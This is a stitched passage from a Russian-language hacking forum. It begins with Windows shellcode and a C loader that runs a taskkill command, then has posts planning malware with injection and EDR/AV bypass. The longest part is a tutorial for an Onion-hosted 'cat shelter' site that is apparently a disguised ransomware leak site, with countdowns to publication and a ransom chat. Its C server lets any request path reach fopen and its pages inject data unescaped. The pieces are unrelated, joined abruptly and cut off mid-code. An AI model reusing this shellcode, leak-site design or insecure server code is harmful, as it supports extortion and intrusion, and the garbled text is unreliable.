004010C1 . 53 PUSH EBX
004010C2 . FFD5 CALL EBP
004010C4 . 33F6 XOR ESI,ESI
004010C6 . 33C9 XOR ECX,ECX
004010C8 . 64:8B71 30 MOV ESI,DWORD PTR FS:[ECX+30]
004010CC . 8B76 0C MOV ESI,DWORD PTR DS:[ESI+C]
004010CF . 8B76 1C MOV ESI,DWORD PTR DS:[ESI+1C]
004010D2 . 33DB XOR EBX,EBX
004010D4 > 43 INC EBX
004010D5 . 8B6E 08 MOV EBP,DWORD PTR DS:[ESI+8]
004010D8 . 8B7E 20 MOV EDI,DWORD PTR DS:[ESI+20]
004010DB . 8B36 MOV ESI,DWORD PTR DS:[ESI]
004010DD . B8 11111111 MOV EAX,11111111
004010E2 . B9 13111111 MOV ECX,11111113
004010E7 . 2BC8 SUB ECX,EAX
004010E9 . 8BD1 MOV EDX,ECX
004010EB . 3BDA CMP EBX,EDX
004010ED .^75 E5 JNZ SHORT messageb.004010D4
004010EF . B8 11111111 MOV EAX,11111111
004010F4 . B9 37261411 MOV ECX,11142637
004010F9 . 2BC8 SUB ECX,EAX
004010FB . 03E9 ADD EBP,ECX
004010FD . FFD5 CALL EBP
------------------------------------------------ */
#include
using namespace std;char code[] = "\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33"
"\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x14"
"\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB9\x73\x31\x11"
"\x11\x2B\xC8\x03\xE9\x8B\xD4\xB9\x10\x21\x11\x11\x2B\xC8\x2B\xD1\xB9"
"\x63\x6D\x64\x20\x89\x0A\xB9\x2F\x6B\x20\x74\x89\x4A\x04\xB9"
"\x61\x73\x6B\x6B\x89\x4A\x08\xB9\x69\x6C\x6C\x20\x89\x4A\x0C\xB9\x2F"
"\x69\x6D\x20\x89\x4A\x10\xB9\x65\x78\x70\x6C\x89\x4A\x14\xB9"
"\x6F\x72\x65\x72\x89\x4A\x18\xB9\x2E\x65\x78\x65\x89\x4A\x1C\xB9\x20"
"\x2F\x69\x6D\x89\x4A\x20\xB9\x20\x63\x6D\x64\x89\x4A\x24\xB9"
"\x2E\x65\x78\x65\x89\x4A\x28\xB9\x31\x40\x77\x11\x2B\xC8\x89\x4A\x2C"
"\x33\xDB\x8B\xF4\xB9\x65\x11\x11\x11\x2B\xC8\x8D\x4E\xAC\x51"
"\x8D\x4E\xBC\x51\x53\x53\xB9\x31\x13\x11\x11\x2B\xC8\x51\x53\x53\x53"
"\x52\x53\xFF\xD5\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C"
"\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11"
"\x11\x11\xB9\x13\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5"
"\xB8\x11\x11\x11\x11\xB9\x37\x26\x14\x11\x2B\xC8\x03\xE9\xFF\xD5";int main(){printf("Shellcode Length is : %u\n",strlen(code));system("PAUSE");
int (_13)() = (int()())code; _13(); }
/=================[ Geng Simbe @ TKJ 1 Club ]======/53ED767E8285588D 1337day.com [2013-05-16] 0F8108AD843BF22B
Click to expand...
всем привет, поставил себе цель изучать следущие технологии для создания
собственного проекта.
Бинарь:
• C++20
• Boost.Asio + OpenSSL/libsodium
• Reflective DLL Injection (Windows) / ELF Injection (Linux)
• LLVM Custom Passes (обфускация и виртуализация)
- структура PE файла
- winapi
- shellcode injection
- RunPE
- LoadPE
- direct and indirect syscall
- edr av bypass
- VEH SEH
Клиент:
• Qt (C++/QML)
Сервер (веб-панель):
• Go + Gin (backend)
• PostgreSQL (база данных)
• Redis (кэширование)
• TLS + AES-256/RSA (безопасность соединений)
Инфраструктура:
• Docker (контейнеризация)
очень хотелось бы услышать уместную критику и советы по технологиями ( что добавить/изменить/убрать)
Do ransomwares typically use a web app control panel, GUI, or CLI for ease of use?
привет всем! хотел бы задать вопрос у опытных кодеров асм-с-с++ возможно и
раст хотелось бы понять что сегодня у является актуалом по типу мальвары/экспы
только и только в обучающих целях так-же хотел бы подчеркнуть что устроит как
конкретный пример софты или рода деятельности так и любые предложения в каком
направлении двигаться мой стаж по этим направлениям примерно никакой во всем
что я описал кроме общих пониманий и немного опыта в написании простеньких
утилиток для себя или автоматизации какой-то рутинки но вот интересует все что
связанно с "инженерным" низкоуровневым программированием и что можно
реализовать с неплохим фидбеком в любом эквиваленте как денежном так и
обучающем а лучше все сразу
стэк/желание учится :masm,c,c++ раст вариативно не уверен
_Автор:miserylord
Эксклюзивно для форума:
_xss.is
Привет! Как здорово видеть тебя в этом цифровом мире! На связи miserylord.
В этой статье я рассмотрю процесс создания сайта на чистом JavaScript с использованием HTML и CSS, дальнейшего создания сервера на C и развертывания приложения в Onion-сети. Исходный код будет прикреплен к первому сообщению в этой теме.
Переходим к написанию кода.
Приложение
На первом этапе мы реализуем фронтенд приложения с использованием моковых данных, в качестве базы данных будут выступать JSON-файлы.
Идея приложения — сайт приюта для найденных кошек.
В приложении будет несколько экранов: главный экран с информацией о найденных кошках; экран с информацией о тех, кого уже нашли волонтеры, но кто еще не прибыл в приют; а также экран для входа в аккаунт. В зависимости от роли, администратор попадет в админ-панель, а пользователь — в личный кабинет. Также будет реализован чат для обсуждения выкупа животных из приюта.
Для начала мы скачиваем шрифты и помещаем их в папку fonts, чтобы избежать запросов к сайтам со шрифтами. В папке assets будут находиться SVG-логотипы для меню и вкладки сайта. В папке components будут храниться HTML-файлы, которые будут многократно использоваться в проекте. Например, создадим menu.html.
HTML:Copy to clipboard
<div class="menu">
<a class="logolink" href="index.html">
<img src="assets/logo.svg" alt="Logotip" class="logo" style="filter: invert(1);" />
</a>
<a class="logolink" href="index.html">
<div class="menu-title">Otcs</div>
</a>
<div class="tabs">
<a href="index.html" class="tab">
<img src="assets/cats.svg" alt="Cats Icon" class="tab-icon" style="filter: invert(1);" />
Cats
</a>
<a href="timer.html" class="tab">
<img src="assets/timer.svg" alt="Awaiting Icon" class="tab-icon" style="filter: invert(1);" />
Awaiting
</a>
<a href="login.html" class="tab">
<img src="assets/login.svg" alt="Login Icon" class="tab-icon" style="filter: invert(1);" />
Login
</a>
</div>
</div>
Этот HTML-код создает горизонтальное меню с логотипом и несколькими вкладками, ведущими на разные страницы сайта.
В папке styles будут находиться CSS-стили, которые я не буду разбирать в статье. В папке mock на этом этапе будут находиться JSON-файлы.
Перейдем к написанию JavaScript-кода. Первый файл — menu.js — отвечает за динамическую подгрузку элементов меню.
JavaScript:Copy to clipboard
function loadMenu() {
fetch('components/menu.html')
.then(response => response.text())
.then(data => {
document.getElementById('menu-container').innerHTML = data;
})
.catch(error => console.error('Error loading menu:', error));
}
document.addEventListener('DOMContentLoaded', () => {
loadMenu();
});
Ожидаем полной загрузки HTML-документа, чтобы он был готов для манипуляций, затем вызываем loadMenu() для загрузки содержимого меню и вставки его в нужный элемент.
Файл cats.js:
JavaScript:Copy to clipboard
// 1
let catData = [];
let cattoShow = 8;
// 2
function isValidDate(dateString) {
const currentDate = new Date();
const itemDate = new Date(dateString);
return itemDate <= currentDate;
}
// 3
async function fetchDataPrevie() {
try {
const response = await fetch('../mosk/cats.json');
catData = await response.json();
const filteredData = catData.filter(element => isValidDate(element.date));
displayData(filteredData.slice(0, cattoShow));
if (filteredData.length > cattoShow) {
document.getElementById('show-more').style.display = 'block';
}
} catch (error) {
console.error("Error fetching:", error);
}
}
// 4
function displayData(data) {
const container = document.getElementById('leakdataContainer');
container.innerHTML = '';
data.forEach(element => {
const card = document.createElement('div');
card.classList.add('cat-card');
card.innerHTML = `
<div class="leak-photo"><img id="leak-photo" src="${element.photo}" width="8%" height="70%"></div>
<div class="cat-date"><div class="cat-date-text">Date of publication:</div>${element.date}</div>
<div class="cat-name">${element.name}</div>
<div class="cat-description" style="max-height: 90px; overflow: hidden;">${element.description}</div>
<div class="cat-category">Category: ${element.category}</div>
<div class="cat-views">Views: ${element.views}</div>
<button class="get-more">More Details</button>
`;
const button = card.querySelector('.get-more');
button.addEventListener('click', () => {
openPopup(element.name, element.description, element.date);
});
container.appendChild(card);
});
}
// 5
document.getElementById('show-more').addEventListener('click', () => {
const filteredData = catData.filter(element => isValidDate(element.date));
const nextData = filteredData.slice(cattoShow, cattoShow + 4);
displayData(filteredData.slice(0, cattoShow + 4));
cattoShow += 4;
if (cattoShow >= filteredData.length) {
document.getElementById('show-more').style.display = 'none';
}
});
// 6
function openPopup(title, text, date) {
const popup = document.getElementById('popup');
const overlay = document.getElementById('overlay');
const popupTitle = document.getElementById('popup-title');
const popupText = document.getElementById('popup-text');
const popupDate = document.getElementById('popup-date');
const closeBtn = document.querySelector('.close-btn');
popupTitle.textContent = title;
popupText.textContent = text;
popupDate.textContent = date;
overlay.style.display = 'block';
popup.style.display = 'block';
closeBtn.onclick = () => {
closePopup(overlay, popup);
};
window.onclick = (event) => {
if (event.target === overlay) {
closePopup(overlay, popup);
}
};
}
// 7
function closePopup(overlay, popup) {
overlay.style.display = 'none';
popup.style.display = 'none';
}
fetchDataPrevie();
Реализуем также код для страницы с таймером в файле timer.js.
JavaScript:Copy to clipboard
let catData = [];
let cattoShow = 8;
function isValidDate(dateString) {
const currentDate = new Date();
const itemDate = new Date(dateString);
return itemDate >= currentDate;
}
// 1
function formatTimeDifference(dateString) {
const currentDate = new Date();
const itemDate = new Date(dateString);
const difference = itemDate - currentDate;
if (difference <= 0) return "Published";
const seconds = Math.floor((difference / 1000) % 60);
const minutes = Math.floor((difference / (1000 * 60)) % 60);
const hours = Math.floor((difference / (1000 * 60 * 60)) % 24);
const days = Math.floor(difference / (1000 * 60 * 60 * 24));
return `${days}d ${hours}h ${minutes}m ${seconds}s`;
}
// 2
function updateTimerElements() {
const timerElements = document.querySelectorAll('.cat-timer');
timerElements.forEach(element => {
const dateString = element.getAttribute('data-date');
element.textContent = formatTimeDifference(dateString);
});
}
async function fetchDataPrevie() {
try {
const response = await fetch('../mosk/cats.json');
catData = await response.json();
const filteredData = catData.filter(element => isValidDate(element.date));
displayData(filteredData.slice(0, cattoShow));
if (filteredData.length > cattoShow) {
document.getElementById('show-more').style.display = 'block';
}
} catch (error) {
console.error("Error fetching:", error);
}
}
function displayData(data) {
const container = document.getElementById('leakdataContainer');
container.innerHTML = '';
data.forEach(element => {
const card = document.createElement('div');
card.classList.add('cat-card');
card.innerHTML = `
<div class="leak-phote"><img id="leak-phote" src="${element.photo}" width="8%" height="70%"></div>
<div class="cat-date"><div class="cat-date-text">Date of publication:</div>${element.date}</div>
<div class="cat-name">${element.name}</div>
<div class="cat-timer" data-date="${element.date}">${formatTimeDifference(element.date)}</div>
`;
container.appendChild(card);
});
updateTimerElements();
}
document.getElementById('show-more').addEventListener('click', () => {
const filteredData = catData.filter(element => isValidDate(element.date));
const nextData = filteredData.slice(cattoShow, cattoShow + 4);
displayData(filteredData.slice(0, cattoShow + 4));
cattoShow += 4;
if (cattoShow >= filteredData.length) {
document.getElementById('show-more').style.display = 'none';
}
});
fetchDataPrevie();
// 3
setInterval(updateTimerElements, 1000);
Наконец, перейдем к HTML-файлам. Вот пример index.html:
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="styles/styles.css">
<link rel="stylesheet" href="styles/index.css">
<title>Ode to Cats Shelter</title>
<link rel="shortcut icon" href="assets/logo.svg" type="image/svg+xml" />
</head>
<body>
<div id="menu-container"></div>
<div class="container" id="leakdataContainer"></div>
<button id="show-more" style="display: none;">Show More</button>
<script src="scripts/menu.js"></script>
<script src="scripts/cats.js"></script>
<div id="overlay" style="display:none;"></div>
<div id="popup" style="display:none;">
<h2 id="popup-title"></h2>
<p id="popup-text"></p>
<p id="popup-date"></p>
<button class="close-btn">Close</button>
</div>
</body>
</html>
Этот HTML-код создает веб-страницу для приюта «Ode to Cats Shelter». Он включает базовую разметку, контейнеры для динамически загружаемого меню и данных, кнопку «Show More», а также модальные элементы для всплывающего окна с информацией.
Перейдем к экрану для аутентификации пользователей. Реализуем простую имитацию
процесса входа в систему с использованием JavaScript. Он проверяет введенные
пользователем данные по заранее определенному массиву пользователей и в
зависимости от их роли перенаправляет на соответствующую страницу.
JavaScript:Copy to clipboard
const mockData = [
{ username: 'admin', password: 'admin123', role: 'admin' },
{ username: 'user', password: 'user123', role: 'user' }
];
document.getElementById('loginForm').addEventListener('submit', function(event) {
event.preventDefault();
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
const user = mockData.find(user => user.username === username && user.password === password);
if (user) {
localStorage.setItem('currentUser', JSON.stringify(user));
if (user.role === 'admin') {
window.location.href = 'admin.html';
} else {
window.location.href = 'user.html';
}
} else {
document.getElementById('error-message').innerText = 'Invalid login or password';
}
});
Реализуем проверку по роли пользователя. Этот код выполняет проверку доступа, чтобы убедиться, что только администратор может попасть на защищенную страницу. Он проверяет, авторизован ли текущий пользователь и имеет ли он роль администратора. Если нет, пользователя перенаправляют на главную страницу. Подобную проверку реализуем и для роли пользователя (user).
JavaScript:Copy to clipboard
const currentUser = JSON.parse(localStorage.getItem('currentUser'));
if (!currentUser || currentUser.role !== 'admin') {
window.location.href = 'index.html';
}
Сообщения на данный момент будут храниться в мок-данных. Новые сообщения будут сохраняться в localStorage. Файл chatUser.js:
JavaScript:Copy to clipboard
document.addEventListener('DOMContentLoaded', () => {
const messagesContainer = document.getElementById('messages');
const messageInput = document.getElementById('messageInput');
const sendMessageButton = document.getElementById('sendMessage');
const LOCAL_STORAGE_KEY = 'userChatMessages'; // 1
// 2
async function loadMessages() {
try {
const response = await fetch('../mosk/user123.json');
const jsonMessages = await response.json();
const storedMessages = JSON.parse(localStorage.getItem(LOCAL_STORAGE_KEY)) || [];
const allMessages = [...jsonMessages, ...storedMessages];
messagesContainer.innerHTML = '';
allMessages.forEach((msg) => {
const messageDiv = document.createElement('div');
messageDiv.className = 'message';
messageDiv.innerHTML = `${msg.sender}: ${msg.message}`;
messagesContainer.appendChild(messageDiv);
});
} catch (error) {
console.error('Ошибка загрузки сообщений:', error);
}
}
// 3
function saveMessages(messages) {
localStorage.setItem(LOCAL_STORAGE_KEY, JSON.stringify(messages));
}
// 4
sendMessageButton.addEventListener('click', () => {
const message = messageInput.value.trim();
if (!message) return;
const messages = JSON.parse(localStorage.getItem(LOCAL_STORAGE_KEY)) || [];
const newMessage = {
sender: 'user',
message,
is_read: false,
};
messages.push(newMessage);
saveMessages(messages);
loadMessages();
messageInput.value = '';
});
// 5
loadMessages();
});
Сервер
Переходим к реализации серверной части приложения. Сервер предоставляет ресурсы другим клиентам через сеть. В контексте веба сервер часто реализует HTTP-протокол, принимает запросы от клиентов (веб-браузеров), обрабатывает их и отправляет ответы (например, HTML-страницы).
Примерами таких серверов можно привести Apache HTTP Server и Nginx. Это отличные решения, но я предлагаю пойти другим путем и реализовать самописный сервер на C. Мы получим полное управление над ресурсами и меньше накладных расходов на функционал, который не нужен для конкретного проекта. Безусловно, это повышает вероятность ошибок, но, как бы там ни было, это будет интересный опыт. Переходим к коду!
Код ниже разработан в среде Linux и не будет работать на Windows.
Сначала добавим код с мок-данными, а в дальнейшем подключим базу данных.
Это мое первое знакомство с языком программирования C, поэтому на некоторых моментах буду останавливаться подробнее. Возможно, это покажется очевидными вещами.
Итак, код представляет собой простой многопоточный сервер на C, который принимает подключения от клиентов по TCP и обрабатывает их в отдельных потоках, напоминая работу Apache.
C:Copy to clipboard
// 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <signal.h>
#include "request_handler.h"
// 2
#define PORT 8082
// 3
void *client_handler(void *arg) {
int client_socket = *(int*)arg;
free(arg);
handle_client(client_socket);
pthread_exit(NULL);
}
int main() {
signal(SIGPIPE, SIG_IGN); // 4
// 5
int server_socket;
struct sockaddr_in server_addr, client_addr;
socklen_t client_len = sizeof(client_addr);
if ((server_socket = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("Socket failed");
return 1;
}
// 6
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(PORT);
if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {
perror("Bind failed");
close(server_socket);
return 1;
}
// 7
if (listen(server_socket, 10) == -1) {
perror("Listen failed");
close(server_socket);
return 1;
}
printf("Server is listening on port %d...\n", PORT);
// 8
while (1) {
int *client_socket = malloc(sizeof(int));
*client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
if (*client_socket == -1) {
perror("Accept failed");
free(client_socket);
continue;
}
// 9
pthread_t thread_id;
if (pthread_create(&thread_id, NULL, client_handler, client_socket) != 0) {
perror("Could not create thread");
close(*client_socket);
free(client_socket);
} else {
pthread_detach(thread_id);
}
}
// 10
close(server_socket);
return 0;
}
В языке C файлы с расширением .h (header files) — это заголовочные файлы, которые содержат объявления функций, структур, переменных и макросов. Они упрощают организацию кода и его повторное использование.
Создадим файлы request_handler.h и utils.h (а также с таким же названием файлы с расширением .c).
Код request_handler.h:
C-like:Copy to clipboard
#ifndef REQUEST_HANDLER_H
#define REQUEST_HANDLER_H
void handle_client(int client_socket);
#endif
Заголовочный файл с защитой от двойного включения работает следующим образом: при первом подключении файла request_handler.h макрос REQUEST_HANDLER_H ещё не определен. Компилятор видит #ifndef REQUEST_HANDLER_H, определяет макрос REQUEST_HANDLER_H и включает содержимое файла. Если файл подключается второй раз (например, косвенно через другие заголовочные файлы), REQUEST_HANDLER_H уже определен, и компилятор игнорирует содержимое заголовочного файла, предотвращая повторное объявление функции handle_client.
Код файла .c:
C-like:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include "request_handler.h"
#include "utils.h"
// 1
#define BUFFER_SIZE 1024
// 2
void handle_client(int client_socket) {
// 3
char buffer[BUFFER_SIZE];
read(client_socket, buffer, sizeof(buffer) - 1);
// 4
char *file_path = "index.html";
if (strncmp(buffer, "GET /", 5) == 0) {
char *path_start = buffer + 5;
char *path_end = strchr(path_start, ' ');
if (path_end != NULL) {
*path_end = '\0';
if (strlen(path_start) > 0) {
file_path = path_start;
}
}
}
// 5
FILE *file = fopen(file_path, "r");
if (file == NULL) {
const char *not_found_response =
"HTTP/1.1 404 Not Found\r\n"
"Content-Type: text/html\r\n"
"\r\n"
"<!DOCTYPE html>"
"<html><body><h1>404 Not Found</h1></body></html>";
write(client_socket, not_found_response, strlen(not_found_response));
close(client_socket);
return;
}
// 6
const char *content_type = get_content_type(file_path);
// 7
char header[BUFFER_SIZE];
snprintf(header, sizeof(header),
"HTTP/1.1 200 OK\r\n"
"Content-Type: %s\r\n"
"\r\n", content_type);
write(client_socket, header, strlen(header));
// 8
char file_content[BUFFER_SIZE];
size_t bytes_read;
while ((bytes_read = fread(file_content, 1, sizeof(file_content), file)) > 0) {
write(client_socket, file_content, bytes_read);
}
// 9
fclose(file);
close(client_socket);
}
Файл utils.c:
C-like:Copy to clipboard
#include <string.h>
#include "utils.h"
const char* get_content_type(const char* path) {
if (strstr(path, ".html")) return "text/html";
if (strstr(path, ".css")) return "text/css";
if (strstr(path, ".js")) return "application/javascript";
if (strstr(path, ".svg")) return "image/svg+xml";
if (strstr(path, ".woff2")) return "font/woff2";
if (strstr(path, ".json")) return "application/json";
return "text/plain";
}
Этот код определяет функцию get_content_type, которая возвращает MIME-тип файла, основываясь на его расширении. MIME-типы — это ключевая часть HTTP- протокола, которая позволяет клиентам правильно обрабатывать разные типы файлов. Функция помогает серверу автоматически определять MIME-тип по расширению файла и возвращать соответствующий заголовок клиенту.
Напишем Makefile. Makefile — это специальный файл, который помогает автоматизировать компиляцию и сборку проекта, особенно если проект состоит из нескольких файлов. Он описывает зависимости и команды для сборки, чтобы не прописывать каждый раз все команды компиляции. Команда make читает Makefile и выполняет описанные в нем задачи.
Code:Copy to clipboard
CC = gcc
CFLAGS = -Wall
SRC = src/server.c src/request_handler.c src/utils.c
OBJ = $(SRC:.c=.o)
EXEC = server
all: $(EXEC)
$(EXEC): $(OBJ)
$(CC) $(CFLAGS) -o $(EXEC) $(OBJ)
clean:
rm -f $(OBJ) $(EXEC)
Компилируем проект с заданными настройками, автоматически отслеживая зависимости и компилируя только измененные файлы. make clean очищает проект, удаляя объектные и исполняемые файлы.
Поскольку я недавно начал изучать язык C, оставлю несколько рекомендаций по роудмапу изучения:
Во-первых, лучшая книга по C — "The C Programming Language" (2-е издание) Ритчи и Кернигана. Для изучения сокетов — "Beej's Guide to Network Programming" (есть на русском) и также полезное видео.
Подключаем базу данных, я буду работать с SQLite. За кулисами добавлю в БД те данные, которые сейчас находятся в .json файле в директории с моками.
В JavaScript в запросе fetch теперь обращаемся по адресу localhost:port/cats.json. Создадим файл data_handler.c (а также одноимённый .h файл), в котором будем обращаться к базе данных.
C:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sqlite3.h>
#include "data_handler.h"
// 1
#define DB_PATH "./cats.db"
char* get_cats_data_as_json() {
// 2
sqlite3 *db;
sqlite3_stmt *stmt;
char *json_data = malloc(1024 * sizeof(char));
int buffer_size = 1024, offset = 0;
// 3
if (sqlite3_open(DB_PATH, &db) != SQLITE_OK) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
return NULL;
}
// 4
const char *sql = "SELECT id, name, date, photo, description, category, views, income FROM cats;";
if (sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) != SQLITE_OK) {
fprintf(stderr, "Failed to fetch data: %s\n", sqlite3_errmsg(db));
sqlite3_close(db);
return NULL;
}
// 5
offset += snprintf(json_data + offset, buffer_size - offset, "[");
// 6
while (sqlite3_step(stmt) == SQLITE_ROW) {
int id = sqlite3_column_int(stmt, 0);
const char *name = (const char*)sqlite3_column_text(stmt, 1);
const char *date = (const char*)sqlite3_column_text(stmt, 2);
const char *photo = (const char*)sqlite3_column_text(stmt, 3);
const char *description = (const char*)sqlite3_column_text(stmt, 4);
const char *category = (const char*)sqlite3_column_text(stmt, 5);
int views = sqlite3_column_int(stmt, 6);
int income = sqlite3_column_int(stmt, 7);
// 7
if (offset + 256 > buffer_size) {
buffer_size *= 2;
json_data = realloc(json_data, buffer_size);
}
// 8
offset += snprintf(json_data + offset, buffer_size - offset,
"{\"id\":%d,\"name\":\"%s\",\"date\":\"%s\",\"photo\":\"%s\","
"\"description\":\"%s\",\"category\":\"%s\",\"views\":%d,\"income\":%d},",
id, name, date, photo, description, category, views, income);
}
// 9
if (offset > 1 && json_data[offset - 1] == ',') {
offset--;
}
snprintf(json_data + offset, buffer_size - offset, "]");
// 10
sqlite3_finalize(stmt);
sqlite3_close(db);
return json_data;
}
1. Константа DB_PATH указывает расположение файла базы данных.
2. Переменные для базы данных, запроса и буфера.
3. sqlite3_open открывает соединение с базой данных. В случае ошибки выводит сообщение и возвращает NULL.
4. Подготовка SQL-запроса.
5. Начало JSON-строки. Формирует JSON-строку, добавляя открывающую скобку массива ([).
6. Извлечение данных и заполнение JSON. Этот блок кода выполняется для каждой строки таблицы cats, извлекая значения каждого столбца.
7. Проверка, достаточно ли памяти для добавления новой записи. Если нет, удваивает размер buffer_size и перераспределяет память.
8. Запись данных текущей строки в json_data в формате JSON.
9. Убираем последнюю запятую и закрываем массив символом ].
10. Завершаем работу с запросом и закрываем базу данных. Возвращаем указатель на JSON-строку, содержащую все данные.
Добавим обработку маршрута в request_handler.c.
C:Copy to clipboard
if (strcmp(file_path, "cats.json") == 0) {
char *json_data = get_cats_data_as_json();
if (json_data == NULL) {
const char *error_response = "HTTP/1.1 500 Internal Server Error\r\nContent-Type: text/plain\r\n\r\nError fetching cat data.";
write(client_socket, error_response, strlen(error_response));
} else {
const char *header = "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n\r\n";
write(client_socket, header, strlen(header));
write(client_socket, json_data, strlen(json_data));
free(json_data);
}
close(client_socket);
return;
}
Проверяем имя файла, получаем данные о котах в формате JSON, затем происходит
проверка успешности получения данных и отправка успешного HTTP-ответа с
данными о котах. Закрываем соединение и завершаем работу функции.
Переходим к процессу аутентификации. Саму проверку я менять не стану, хотя и
прекрасно вижу.
Код login_handler.c:
C-like:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sqlite3.h>
#include "login_handler.h"
#define BUFFER_SIZE 1024
#define DB_PATH "./cats.db"
// 1
void handle_login_request(int client_socket, const char *username, const char *password) {
sqlite3 *db;
sqlite3_stmt *stmt;
char *response = NULL;
int success = 0;
char role[10];
if (sqlite3_open(DB_PATH, &db) != SQLITE_OK) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
return;
}
// 2
const char *sql = "SELECT role FROM users WHERE username = ? AND password = ?";
if (sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) == SQLITE_OK) {
sqlite3_bind_text(stmt, 1, username, -1, SQLITE_STATIC);
sqlite3_bind_text(stmt, 2, password, -1, SQLITE_STATIC);
if (sqlite3_step(stmt) == SQLITE_ROW) {
success = 1;
strcpy(role, (const char*)sqlite3_column_text(stmt, 0));
}
}
sqlite3_finalize(stmt);
sqlite3_close(db);
// 3
if (success) {
response = malloc(BUFFER_SIZE);
snprintf(response, BUFFER_SIZE,
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n\r\n"
"{\"success\": true, \"user\": {\"username\": \"%s\", \"role\": \"%s\"}}",
username, role);
write(client_socket, response, strlen(response));
free(response);
} else {
const char *unauthorized_response =
"HTTP/1.1 401 Unauthorized\r\nContent-Type: application/json\r\n\r\n{\"success\": false}";
write(client_socket, unauthorized_response, strlen(unauthorized_response));
}
}
1. Функция проверяет учётные данные пользователя и отправляет соответствующий ответ через сокет.
2. SQL-запрос sql извлекает роль пользователя с заданными username и password. sqlite3_prepare_v2 подготавливает запрос, а sqlite3_bind_text подставляет параметры username и password. sqlite3_step выполняет запрос и проверяет, есть ли результат. Если запрос возвращает строку, роль копируется в role, а success устанавливается в 1.
3. Выделяется память под response и формируется успешный ответ с HTTP-кодом 200 OK и JSON-данными, включающими имя пользователя и его роль. Ответ отправляется клиенту через write, после чего память под response освобождается.
Будьте внимательны при работе с SQL. Насколько я вижу, в этом коде SQL-
инъекции исключены благодаря использованию подготовленных выражений и
связыванию значений через sqlite3_bind_text. Однако всегда нужно перепроверять
всё, что приходит от пользователя на сервер, и включать двойную валидацию —
как на фронтенде, так и на бэкенде.
Добавляем код для маршрута.
C:Copy to clipboard
if (strncmp(buffer, "POST /login", 11) == 0) {
char *json_data = strstr(buffer, "\r\n\r\n") + 4;
char username[50], password[50];
sscanf(json_data, "{\"username\":\"%49[^\"]\",\"password\":\"%49[^\"]\"}", username, password);
handle_login_request(client_socket, username, password);
close(client_socket);
return;
}
strncmp сравнивает первые 11 символов строки buffer с "POST /login". Это
проверяет, что запрос является POST-запросом, направленным на /login. Далее
происходит поиск данных тела запроса, извлечение username и password из JSON,
обработка и закрытие соединения.
Осталось внедрить чат. Изменим JavaScript-скрипт, код поддерживает два
основных действия: регулярное обновление списка сообщений с сервера и отправку
новых сообщений на сервер. Чат реализован с помощью лонг-пулинга.
JavaScript:Copy to clipboard
document.addEventListener('DOMContentLoaded', () => {
const messagesContainer = document.getElementById('messages');
const messageInput = document.getElementById('messageInput');
const sendMessageButton = document.getElementById('sendMessage');
async function loadMessages() {
try {
const response = await fetch('http://localhost:8082/chats.json');
const jsonMessages = await response.json();
messagesContainer.innerHTML = '';
jsonMessages.forEach((msg) => {
const messageDiv = document.createElement('div');
messageDiv.className = 'message';
messageDiv.innerHTML = `
<strong>${msg.sender}</strong>: ${msg.message}
`;
messagesContainer.appendChild(messageDiv);
});
setTimeout(loadMessages, 1000);
} catch (error) {
console.error('Ошибка загрузки сообщений:', error);
setTimeout(loadMessages, 2000);
}
}
sendMessageButton.addEventListener('click', async () => {
const message = messageInput.value.trim();
if (!message) return;
const newMessage = {
sender: 'user',
message,
user_id: 'user'
};
try {
const response = await fetch('http://localhost:8082/send_message', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(newMessage)
});
if (response.ok) {
messageInput.value = '';
loadMessages();
} else {
console.error('Ошибка отправки сообщения');
}
} catch (error) {
console.error('Ошибка при отправке сообщения:', error);
}
});
loadMessages();
});
Маршруты на сервере и запросы к базе данных в файле chat_handler.c.
C:Copy to clipboard
if (strcmp(file_path, "chats.json") == 0) {
while (1) {
char *json_data = get_chat_data_as_json();
if (json_data != NULL) {
const char *header = "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n\r\n";
write(client_socket, header, strlen(header));
write(client_socket, json_data, strlen(json_data));
free(json_data);
break;
}
sleep(1);
}
close(client_socket);
return;
}
if (strncmp(buffer, "POST /send_message", 18) == 0) {
char *json_data = strstr(buffer, "\r\n\r\n") + 4;
char sender[50], message[500], user_id[50];
sscanf(json_data, "{\"sender\":\"%49[^\"]\",\"message\":\"%499[^\"]\",\"user_id\":\"%49[^\"]\"}",
sender, message, user_id);
save_message(sender, message, user_id);
const char *response = "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n\r\n";
write(client_socket, response, strlen(response));
close(client_socket);
return;
}
C:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sqlite3.h>
#include "chat_handler.h"
#define DB_PATH "./cats.db"
char* get_chat_data_as_json() {
sqlite3 *db;
sqlite3_stmt *stmt;
char *json_data = malloc(1024 * sizeof(char));
